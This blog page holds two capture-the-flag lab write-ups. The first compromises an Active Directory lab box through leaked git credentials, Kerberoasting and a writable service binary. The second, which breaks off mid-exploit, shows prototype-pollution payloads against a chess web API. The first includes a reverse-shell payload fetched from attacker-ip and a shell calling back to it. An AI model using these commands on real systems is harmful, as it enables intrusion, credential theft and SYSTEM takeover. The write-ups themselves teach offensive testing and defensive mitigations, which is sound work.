DEV Community: Yogeshwar Peela

TryHackMe : Enterprise Writeup

Yogeshwar Peela — Fri, 24 Jul 2026 09:18:14 +0000

Summary

Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990 that turns out to actually be a copy of Atlassian's real hosted login page, complete with a company-specific banner announcing a move to GitHub. That banner is the real hint - Google dorking for the company name against site:github.com turns up a public GitHub org for the company, and digging through commit history in one of its repos (a PowerShell AD management script) surfaces a hardcoded, later-"removed" username and password that were never actually purged from git history.

Those first credentials (nik) don't get a shell directly, but they're enough to Kerberoast the domain and pull a service ticket for a bitbucket service account, whose password cracks easily with rockyou. bitbucket turns out to be a member of Remote Desktop Users, so RDP lands an interactive session and the user flag. From there, manual enumeration of Program Files (x86) (deliberately done by hand instead of an automated tool like WinPEAS, to actually understand what's being looked at) turns up a leftover ZeroTier install whose service folder is writable by BUILTIN\Users while the service itself runs as LocalSystem - a textbook writable-service-binary privilege escalation. Overwriting the service binary with a payload and restarting the service pops a SYSTEM shell and the root flag; the same weakness can also be abused "the PowerUp way" to just add a new local administrator instead.

IPs are referred to below as machine-ip (the TryHackMe target - it changed a couple of times across the session as the VPN reset) and attacker-ip (the Kali box).

Recon

Nmap - top ports

nmap -A -Pn machine-ip -o nmap

Output

Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "Site doesn't have a title (text/html)."
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, WinRM. Domain is ENTERPRISE.THM, DC hostname LAB-DC.LAB.ENTERPRISE.THM.

Full port scan

The top-1000 scan is missing a lot on a box like this, so a full TCP sweep with rustscan/nmap was worth doing:

rustscan -a machine-ip
nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... -sC -sV -oA enterprise_scan machine-ip

Key findings from the full scan

53/tcp    open   domain
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   ncacn_http
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          (Global Catalog)
3269/tcp  open   tcpwrapped    (Global Catalog SSL)
3389/tcp  open   ms-wbt-server
5985/tcp  open   http          (WinRM)
7990/tcp  open   http          Microsoft IIS httpd 10.0
|_http-title: "Log in to continue - Log in with Atlassian account"
9389/tcp  open   mc-nmf        .NET Message Framing (ADWS)
47001/tcp open   http

Port 7990 was the interesting one the top-1000 scan had missed entirely - that's the default port for Bitbucket Server, and its title claims to be an Atlassian login page.

SMB null / guest session

nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u guest -p ''
nxc smb machine-ip -u guest -p '' --shares

Output

SMB   machine-ip   445   LAB-DC   Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   machine-ip   445   LAB-DC   LAB.ENTERPRISE.THM\guest:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
Docs            READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share
Users           READ            Users Share. Do Not Touch!

Null and guest auth both work, and there's a readable Docs share worth checking.

RID brute forcing users

nxc smb machine-ip -u guest -p '' --rid-brute

Trimmed output - user accounts

500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)

Extracted a clean users.txt from this list (Administrator, Guest, krbtgt, atlbitbucket, bitbucket, nik, replication, spooks, korone, banana, Cake, contractor-temp, varg, joiner) and confirmed them all as valid usernames against Kerberos with kerbrute:

kerbrute userenum -d LAB.ENTERPRISE.THM --dc machine-ip users.txt

All 13 non-machine accounts came back as valid, confirming the account list is accurate.

The Docs share - a deliberate dead end

smbclient //enterprise.thm/Docs -N
mget *

Pulled down RSA-Secured-Credentials.xlsx and RSA-Secured-Document-PII.docx, both password-protected Office files (file identified them as CDFV2 Encrypted). Extracted hashes with office2john and threw rockyou at them with john:

office2john RSA-Secured-Credentials.xlsx > hash.txt
office2john RSA-Secured-Document-PII.docx >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

This didn't crack in any reasonable time, which was the signal that this wasn't the intended path - real Office encryption is expensive to brute force, and an "easy" box wouldn't gate the real path behind that. Moved on and left these files uncracked.

Finding the GitHub org

The Bitbucket-styled login page

curl http://machine-ip:7990/

The page rendered as a pixel-perfect copy of Atlassian's real id.atlassian.com login page, but with a custom banner injected above the login form:

Reminder to all Enterprise-THM Employees:
We are moving to Github!

Log in to your account

Wappalyzer confirmed the stack as IIS 10.0 plus Apple/Atlassian sign-in bits - basically a static clone of the real login page, not an actual live Bitbucket instance. The banner text is clearly the important part here: a nudge toward GitHub.

Google dorking for the GitHub org

"Enterprise-THM" site:github.com

This turned up a real GitHub organization: github.com/Enterprise-THM, with one repo, About-Us.

git clone https://github.com/Enterprise-THM/About-Us

README.md

### Welcome to Enterprise.THM

Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.

- Enterprise.THM Team

Nothing sensitive in the current file, but always worth checking git log on a repo like this - a leading hint that there might be more:

git log --oneline

41a9956 (HEAD -> main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md

Both commits just tweak formatting on the README, no secrets here - but this confirmed the org is real and gave a real author identity to pivot on: Sq00ky. Checking the org's people page directly was more productive:

curl -s https://github.com/orgs/Enterprise-THM/people -o people.html
grep -oP 'href="/[^"]+"' people.html

That turned up a second GitHub account: Nik-enterprise-dev - matching the nik username already seen in the AD user list. Their profile had one public repo: mgmtScript.ps1.

The leaked credentials

git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
cat SystemInfo.ps1

Current file contents

Import-Module ActiveDirectory
$userName = ''
$userPassword = ''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }

Empty username/password in the current version - but the commit history tells a different story:

git log

commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -> main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date:   Sat Mar 13 20:09:16 2021 -0500

    Updated things

    I accidentally added something

That commit message is basically a confession. Diffing it confirms it:

git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a

 Import-Module ActiveDirectory
-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
+$userName = ''
+$userPassword = ''

Blanking out the values in a new commit doesn't remove them from git history - the old commit (and the credentials in it) are still sitting right there. That's nik:ToastyBoi!.

Validating and using nik's credentials

nxc smb machine-ip -u nik -p 'ToastyBoi!'
nxc ldap machine-ip -u nik -p 'ToastyBoi!'
nxc winrm machine-ip -u nik -p 'ToastyBoi!'

Output

SMB    machine-ip   445    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP   machine-ip   389    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM  machine-ip   5985   LAB-DC   [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!

Valid on SMB and LDAP, but no WinRM - nik isn't in a group that grants remote PowerShell access. Used bloodyAD for LDAP enumeration from here on since BloodHound's own collector partially failed to ingest cleanly in this session:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get object nik

Confirmed nik is a normal domain user (NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD) and a member of the Contractor and Password-Policy-Exemption groups. Checked what nik could actually write in the directory:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get writable

Nothing exploitable there beyond nik's own object. The next natural step for any authenticated domain user is checking for Kerberoastable service accounts:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))'

That search returned the DC's own machine account (expected) and, more usefully, a bitbucket service account with an SPN of HTTP/LAB-DC - a genuine human-managed service account with a Kerberoastable SPN.

Kerberoasting the bitbucket account

impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip machine-ip -request

Output (ticket truncated)

ServicePrincipalName  Name       MemberOf                                                       PasswordLastSet             LastLogon                   Delegation
--------------------  ---------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM     2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...

Saved the ticket to bitbucket.hash and cracked it offline with rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt bitbucket.hash

littleredbucket  (?)
1g 0:00:00:00 DONE

Weak password, cracked almost instantly - bitbucket:littleredbucket.

Validating bitbucket

nxc smb machine-ip -u bitbucket -p littleredbucket
nxc ldap machine-ip -u bitbucket -p littleredbucket
nxc winrm machine-ip -u bitbucket -p littleredbucket

Same pattern as nik - valid on SMB/LDAP, not on WinRM. Checked group membership:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get membership bitbucket

Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account

Remote Desktop Users is the important one here - bitbucket may not have WinRM, but it should be able to RDP straight in.

A side quest that didn't pay off: the Contractor group

While enumerating groups, the Contractor group's description field stood out:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get search --filter '(description=*)' --attr description

distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!

That's the contractor-temp account's default password sitting in plaintext in an AD description field. Tried it:

nxc smb enterprise.thm -u contractor-temp -p 'Password123!'
nxc ldap enterprise.thm -u contractor-temp -p 'Password123!'
nxc winrm enterprise.thm -u contractor-temp -p 'Password123!'

Valid on SMB and LDAP, but not on WinRM, and contractor-temp isn't in Remote Desktop Users either - so this credential doesn't actually grant an interactive foothold. Worth knowing about, but not the intended path forward; bitbucket's RDP access was.

Foothold via RDP as bitbucket

xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:'littleredbucket' /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore

That dropped straight into a full interactive desktop session on LAB-DC as bitbucket, with a text file named user sitting on the desktop:

type user

[REDACTED]

Confirming the foothold from a shell

Opened a cmd.exe window inside the RDP session to poke around more comfortably:

whoami
whoami /all
net user

Output (trimmed)

lab-enterprise\bitbucket

Group Name                                 Type             SID
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555
BUILTIN\Users                              Alias            S-1-5-32-545
LAB-ENTERPRISE\sensitive-account           Group            ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption   Group            ...-1113

User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator  banana  bitbucket  Cake  joiner  korone  krbtgt  spooks

Just a normal domain user, no special local privileges yet - the escalation path had to come from somewhere on the box itself.

Privilege escalation - a leftover ZeroTier install

Instead of running an automated privesc script blind, manually walked through Program Files and Program Files (x86) looking for anything that didn't belong on a stock DC image:

cd "Program Files (x86)"
dir

Everything else was expected Windows/.NET/Google noise, except one directory that had no business being on a domain controller:

03/14/2021  05:36 PM    <DIR>          Zero Tier

cd "Zero Tier\Zero Tier One"
dir

03/14/2021  05:32 PM             1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014  11:52 AM         9,594,056 ZeroTier One.exe

Checked the corresponding Windows service:

Get-Service -Name zerotieroneservice | Select-Object *

Name          : zerotieroneservice
Status        : Stopped
StartType     : Automatic

Automatic-start service, currently stopped, running as LocalSystem per its config. That combination (a service that runs as SYSTEM, tied to a binary sitting in a directory a low-privileged user might be able to write to) is a well-known Windows privilege escalation pattern.

Confirming the weak permissions

Get-Acl -Path "C:\Program Files (x86)\Zero Tier\Zero Tier One\" | Format-List

Output (relevant lines)

Owner  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  Write, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize

There it is: BUILTIN\Users - a group bitbucket is a member of - has Write access to the service's install directory, even though the service itself runs as NT AUTHORITY\SYSTEM. That means any authenticated user can drop a new file into that folder, including one that replaces the legitimate ZeroTier One.exe.

To confirm this programmatically instead of relying only on manual Get-Acl reading, pulled down PowerUp.ps1 from PowerSploit and loaded it (the first download attempt actually saved an HTML error page instead of the raw script, which is why the first Import-Module attempt failed with CSS/JS parse errors - re-downloading the raw file fixed it):

Invoke-WebRequest -Uri http://attacker-ip/PowerUp.ps1 -OutFile powerup.ps1
. .\powerup.ps1
Get-ModifiableServiceFile
Get-UnquotedService

Relevant PowerUp output

ServiceName                     : zerotieroneservice
Path                             : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile                  : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart                      : True

PowerUp independently confirms the exact same thing: BUILTIN\Users can modify the service's binary, the service runs as LocalSystem, and it can be restarted without needing a reboot.

Method A - manual reverse shell as SYSTEM

Generated a Windows reverse shell payload with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o rev.exe

Pulled it onto the target and swapped it in for the legitimate service binary:

Invoke-WebRequest -Uri http://attacker-ip/rev.exe -OutFile rev.exe
Stop-Service zerotieroneservice -Force
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" -Force
Restart-Service zerotieroneservice

With a nc listener running on the attacker box:

nc -lvnp 4444

listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]

C:\Windows\system32>whoami
nt authority\system

Service Control Manager started "ZeroTier One.exe" exactly as configured - except it's now the reverse shell payload, and because the service is configured to run as LocalSystem, the shell comes back as nt authority\system straight away.

cd C:\Users\Administrator\Desktop
type root.txt

[REDACTED]

Method B - the PowerUp way (adds a local admin instead)

The same weak ACL can also be abused with PowerUp's own helper, which doesn't need a payload to be generated or uploaded at all - it patches the binary in place to run a net user /add + group-add command instead:

Install-ServiceBinary -Name zerotieroneservice

ServiceName        Path                                                            Command
-----------         ----                                                            -------
zerotieroneservice  C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe  net user john Password123! /add & ...

Restart-Service zerotieroneservice

The restart itself reported a failure (Failed to start service) - but the embedded commands still executed once before the service process died, which was enough:

net localgroup Administrators

Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john

john is now a local Administrator. Logging in as that new account over WinRM (which bitbucket never had access to) confirms full admin rights:

evil-winrm -i machine-ip -u john -p 'Password123!'
whoami /all

Output (trimmed)

lab-enterprise\john
BUILTIN\Administrators   Alias   S-1-5-32-544   Mandatory group, Enabled by default, Enabled group, Group owner

cd C:\Users\Administrator\Desktop
type root.txt

[REDACTED]

Same flag as the SYSTEM-shell method, confirming both routes land on full compromise of the domain controller.

Key vulnerabilities

Secrets in git history. A commit that "removed" hardcoded AD credentials from a script only blanked the values in a new commit - the credentials remained fully recoverable in the prior commit, which is still part of the repo's history and pushed to a public GitHub org.
OSINT trail from a fake login page to a real GitHub org. A cloned Atlassian login page with a company-specific banner ("we're moving to GitHub") leaked the existence and rough naming convention of a real, public source-control org, which in turn led to a real employee's public repos.
Weak service-account password. The bitbucket service account (Kerberoastable via its HTTP/LAB-DC SPN) had a short, guessable password that cracked against rockyou in under a second.
Password reused in an AD description field. The Contractor group's description attribute contained a default password in plaintext, readable by any authenticated (or even null-session) user with LDAP read access.
Writable service binary / install directory running as SYSTEM. The zerotieroneservice service ran as LocalSystem but its install directory granted BUILTIN\Users write access, letting any authenticated user - domain or local - replace the service binary and have it executed as SYSTEM on next start.

Attack chain

Full port scan (missed by the default top-1000 scan) reveals a Bitbucket-styled login page on port 7990 that is actually a static clone of Atlassian's real login page with a custom "we're moving to GitHub" banner.
Google dorking for the company name against site:github.com finds a real public GitHub org, whose About-Us repo and people listing lead to an employee account (Nik-enterprise-dev).
That employee's mgmtScript.ps1 repo has a git history entry that "blanks out" hardcoded AD credentials in a new commit - the original commit with nik:ToastyBoi! in plaintext is still fully recoverable.
nik's credentials authenticate over SMB/LDAP (no WinRM) and are used to enumerate the domain, including finding a Kerberoastable bitbucket service account via its SPN.
Kerberoasting bitbucket and cracking the resulting TGS ticket with rockyou recovers bitbucket:littleredbucket.
bitbucket is a member of Remote Desktop Users, granting an interactive RDP session and the user flag.
Manual enumeration of Program Files (x86) on the DC finds a leftover ZeroTier install whose service (zerotieroneservice, running as LocalSystem) has an install directory writable by BUILTIN\Users.
Replacing the service binary (either with a custom reverse-shell payload, or via PowerUp's Install-ServiceBinary helper that adds a local admin) and restarting the service executes attacker-controlled code as SYSTEM, yielding full compromise of the domain controller and the root flag.

Mitigations

Never commit credentials to source control, even temporarily. If they ever were, rotate them immediately and treat the repository's entire history as compromised - rewriting history or deleting the file in a later commit is not sufficient, since old commits (and any forks or clones already made) still contain the secret.
Avoid publishing internal tooling, scripts, or "reminder" banners that reveal internal migration plans, tooling names, or organizational structure to anyone who can reach an internet-facing login page.
Enforce strong, unique passwords for all service accounts, and treat Kerberoastable accounts (anything with an SPN) as especially high-value, since any authenticated domain user can request and offline-crack their tickets without touching the account directly. Consider gMSA accounts, which use long random passwords automatically rotated by AD.
Never store passwords or password hints in AD attributes such as description, info, or similar - these are readable by any user with basic LDAP read access, including unauthenticated/null sessions in many default configurations.
Audit local group memberships (especially Remote Desktop Users and Administrators) regularly, and apply least privilege - a service account like bitbucket likely doesn't need interactive desktop access at all.
Regularly audit file and folder ACLs on anything referenced by a service binPath, especially services that run as LocalSystem. BUILTIN\Users (or any low-privileged group) should never have write access to a SYSTEM-run service's binary or its containing directory. Remove unused/leftover third-party software (like this ZeroTier install) entirely rather than leaving it installed and forgotten.
Quote all service binary paths containing spaces, and validate service configurations after any software installation or removal.

TryHackMe : Fool's Mate Revenge

Yogeshwar Peela — Fri, 24 Jul 2026 09:11:44 +0000

Summary

This is the sequel to the original Endgame Trainer box. The developer clearly read that writeup - the client-side "don't let the player actually win" gate is gone entirely, and the win condition is now enforced server-side through a session.config.unlocked flag that has to be true before /api/move will hand back the flag on checkmate. Playing the winning move directly against the API (the trick that worked last time) now just returns a taunting "no reward for you" message.

The new attack surface is a /api/settings endpoint added for board theme/piece-set/animation preferences. It merges whatever JSON object the client sends into the session's settings without filtering dangerous key names. Sending __proto__.unlocked didn't get through, but pivoting to the constructor.prototype.unlocked gadget did - it polluted the global Object.prototype with unlocked: true. Since the reward-gate check just reads session.config.unlocked and JavaScript objects fall back to their prototype chain for properties they don't own, the polluted prototype satisfied the check for every object in the app, including the session's config. From there, resetting the board and replaying the exact same mate-in-one move returned the real flag.

Box IP referred to below as machine-ip, running on port 3000 this time.

Recon

Nmap

nmap -A -Pn machine-ip -o nmap

Nmap output

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 06:31 -0400
Nmap scan report for machine-ip
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:21:f3:54:41:4d:9a:5b:40:2d:fd:07:24:7c:0f:38 (ECDSA)
|_  256 00:86:2a:c8:7d:41:c2:3b:09:33:cf:d2:9f:eb:40:59 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   56.44 ms 192.168.128.1
2   ...
3   56.88 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds

Same shape as before: SSH on 22, and the "Endgame Trainer" Express app, just moved to port 3000 this time.

Looking at the page

curl http://machine-ip:3000/

The page is the same mate-in-one chessboard as the original box, but there's a new Preferences card in the sidebar - board theme, piece set, and move animation speed, saved with a "Save preferences" button. That panel didn't exist last time, and it's the first thing worth paying attention to since it's new surface area.

Pulling down the client code

curl http://machine-ip:3000/js/app.js -o app.js
cat app.js

Key excerpt from app.js

import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  sendMove(from, to, promotion);
  return true;
}

async function sendMove(from, to, promotion) {
  locked = true;
  let res, data;
  try {
    res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) {
    locked = false;
    renderFull();
    return;
  }
  ...
}

function finalize(data) {
  refreshHighlights();
  updateStatus();
  if (data.flag) {
    showFlag(data.flag);
  } else if (data.locked) {
    showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
  }
}

The important difference from the first box: preMoveCheck() is gone completely. There's no more client-side probe blocking the winning move - doMove() just calls sendMove() unconditionally. That confirms the checkmate gate moved server-side this time, and finalize() shows the server can respond with either a flag or a locked state with a message.

Preferences excerpt from app.js

function applyPrefs(p) {
  if (!p) return;
  if (p.theme) {
    document.body.dataset.theme = p.theme;
    themeSelect.value = p.theme;
  }
  if (p.pieceSet) {
    document.body.dataset.pieceSet = p.pieceSet;
    pieceSetSelect.value = p.pieceSet;
  }
  if (typeof p.animationMs !== 'undefined') {
    document.documentElement.style.setProperty('--anim', Number(p.animationMs) + 'ms');
    animSelect.value = String(p.animationMs);
  }
}

async function savePrefs() {
  const prefs = {
    theme: themeSelect.value,
    pieceSet: pieceSetSelect.value,
    animationMs: Number(animSelect.value)
  };
  applyPrefs(prefs);
  try {
    const res = await fetch('/api/settings', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(prefs)
    });
    const data = await res.json();
    if (data &amp;&amp; data.preferences) applyPrefs(data.preferences);
  } catch (e) {}
  toast('Preferences saved');
}

async function loadState() {
  try {
    const res = await fetch('/api/state');
    const data = await res.json();
    if (data &amp;&amp; data.fen) game.load(data.fen);
  } catch (e) {}
  renderFull();
  updateStatus();
}

So there are four endpoints in play: /api/state, /api/move, /api/reset, and the new /api/settings. A couple of quick greps confirmed that's the full API surface:

grep -R api .

Output

./app.js:    res = await fetch('/api/move', {
./app.js:    const res = await fetch('/api/reset', { method: 'POST' });
./app.js:    const res = await fetch('/api/settings', {
./app.js:    const res = await fetch('/api/state');

Poking at the endpoints directly

A couple of sanity checks on /api/move before touching the session state:

curl http://machine-ip:3000/api/move

Output



<title>Error</title>
<pre>Cannot GET /api/move</pre>

curl -X POST http://machine-ip:3000/api/move

Output

{"ok":false,"error":"from and to are required"}

POST-only endpoint, as expected, with basic input validation. I also poked around for a leftover game.js (some builds split the chess logic differently), but nothing there:

curl http://machine-ip:3000/game.js/
curl http://machine-ip:3000/js/game.js/
curl http://machine-ip:3000/js/game.js

Output (all three, all 404)



<title>Error</title>
<pre>Cannot GET /js/game.js</pre>

Dead end - nothing extra to find there, so back to the actual API.

Exploitation

Confirming the checkmate gate is server-side now

Grabbed a session cookie and checked the board state:

curl -c cookies.txt http://machine-ip:3000/api/state

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}

Same starting position as before - rook on a1, king boxed in on g8. Played the same winning move that worked on the original box:

curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'

Output

{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}

That reason field is doing us a big favor here - it names the exact server-side condition guarding the flag: session.config.unlocked. Just calling the API directly, which was the whole trick last time, no longer works; the server now independently checks a flag on the session before releasing the reward.

Tried an obviously illegal move too, just to confirm normal move validation is still intact server-side:

curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"h8"}'

Output

{"ok":false,"error":"illegal move","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"}

Good - the move engine itself is solid. The only path in is getting session.config.unlocked to be truthy some other way. That points straight at /api/settings, the one endpoint that takes an arbitrary-ish JSON object from the client and merges it into session-side state.

Trying to set `unlocked` directly

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","pieceSet":"classic","animationMs":180,"unlocked":true}'

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}

The response only ever echoes back the three known preference fields, so a plain unlocked key in the body is either ignored outright or stored somewhere that isn't session.config. Either way it's not reflected, so time to see whether the merge itself can be abused instead of just its whitelist.

First prototype pollution attempt - `proto`

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","__proto__":{"unlocked":true}}'

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}

Reset the board and re-tried the mate to check if that pollution stuck:

curl -b cookies.txt -X POST http://machine-ip:3000/api/reset
curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}

Still locked. __proto__ as a literal JSON key is a well-known prototype pollution vector, but it's also well-known enough that a lot of merge utilities (or JSON.parse + certain frameworks) special-case and strip it. That's most likely what happened here - the key was filtered out before the merge ever saw it.

Second attempt - `constructor.prototype`

__proto__ isn't the only way to reach an object's prototype. constructor.prototype points at the same place and is filtered far less often, since it looks like an ordinary nested object to naive sanitization:

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'

Output

